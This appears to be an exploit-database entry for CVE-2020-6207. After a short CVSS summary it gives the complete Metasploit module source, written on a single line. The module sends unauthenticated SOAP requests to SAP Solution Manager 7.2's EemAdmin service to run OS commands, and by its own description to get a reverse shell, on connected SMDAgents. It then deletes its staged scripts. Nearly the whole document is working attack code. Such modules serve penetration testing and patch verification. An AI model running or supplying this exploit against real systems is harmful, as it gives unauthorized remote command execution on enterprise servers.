SAP Solution Manager 7.2 Remote Command Execution

2021.03.27
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::SapSolManEemMissAuth include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'SAP Solution Manager remote unauthorized OS commands execution', 'License' => MSF_LICENSE, 'Author' => [ 'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability 'Pablo Artuso', # @lmkalg The researcher who originally found this vulnerability 'Dmitry Chastuhin', # @chipik The researcher who made first PoC 'Vladimir Ivanov' # @_generic_human_ This Metasploit module ], 'Description' => %q{ This module exploits the CVE-2020-6207 vulnerability within the SAP EEM servlet (tc~smd~agent~application~eem) of SAP Solution Manager (SolMan) running version 7.2. The vulnerability occurs due to missing authentication checks when submitting a SOAP request to the /EemAdminService/EemAdmin page to get information about connected SMDAgents, send HTTP request (SSRF) and execute OS command on connected SMDAgent. Works stable in connected SMDAgent with Java version 1.8. Successful exploitation will allow unauthenticated remote attackers to get reverse shell from connected to the SolMan agent as the user under which it runs SMDAgent service, usually daaadm. }, 'References' => [ ['CVE', '2020-6207'], ['URL', 'https://i.blackhat.com/USA-20/Wednesday/us-20-Artuso-An-Unauthenticated-Journey-To-Root-Pwning-Your-Companys-Enterprise-Software-Servers-wp.pdf'], ['URL', 'https://github.com/chipik/SAP_EEM_CVE-2020-6207'] ], 'Privileged' => false, 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_X64, ARCH_X86], 'Platform' => 'linux', 'CmdStagerFlavor' => ['printf', 'echo', 'bourne'] } ], [ 'Windows', { 'Arch' => [ARCH_X64, ARCH_X86], 'Platform' => 'win', 'CmdStagerFlavor' => ['certutil', 'vbs', 'debug_write', 'debug_asm'] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2020-10-03' ) ) register_options( [ Opt::RPORT(50000), OptString.new('TARGETURI', [true, 'Path to the SAP Solution Manager EemAdmin page from the web root', '/EemAdminService/EemAdmin']), OptString.new('AGENT', [true, 'Agent server name for exploitation', 'agent_server_name']), ] ) end def setup_variables @host = datastore['RHOSTS'] @port = datastore['RPORT'] @path = datastore['TARGETURI'] @agent_name = datastore['AGENT'] @script_name = Rex::Text.rand_text_alphanumeric(12) if datastore['SSL'] @schema = 'https://' else @schema = 'http://' end @solman_uri = "#{@schema}#{@host}:#{@port}#{@path}" end def execute_command(cmd, _opts = {}) setup_variables vprint_status("Start script: #{@script_name} with RCE payload on agent: #{@agent_name}") send_soap_request(make_soap_body(@agent_name, @script_name, make_rce_payload(cmd))) vprint_status("Stop script: #{@script_name} on agent: #{@agent_name}") stop_script_in_agent(@agent_name, @script_name) vprint_status("Delete script: #{@script_name} on agent: #{@agent_name}") delete_script_in_agent(@agent_name, @script_name) end # Report Service and Vulnerability def report_service_and_vuln report_service( host: @host, port: @port, name: 'soap', proto: 'tcp', info: 'SAP Solution Manager' ) report_vuln( host: @host, port: @port, name: name, refs: references ) end def check setup_variables begin agents = make_agents_array rescue RuntimeError return Exploit::CheckCode::Safe end if agents.empty? print_status("Solution Manager server: #{@host}:#{@port} is vulnerable but no agents are connected!") else print_good("Successfully retrieved agent list:\n#{pretty_agents_table(agents)}") end report_service_and_vuln Exploit::CheckCode::Vulnerable end def exploit setup_variables check_agent(@agent_name) print_status("Enable EEM on agent: #{@agent_name}") enable_eem(@agent_name) report_service_and_vuln execute_cmdstager end end


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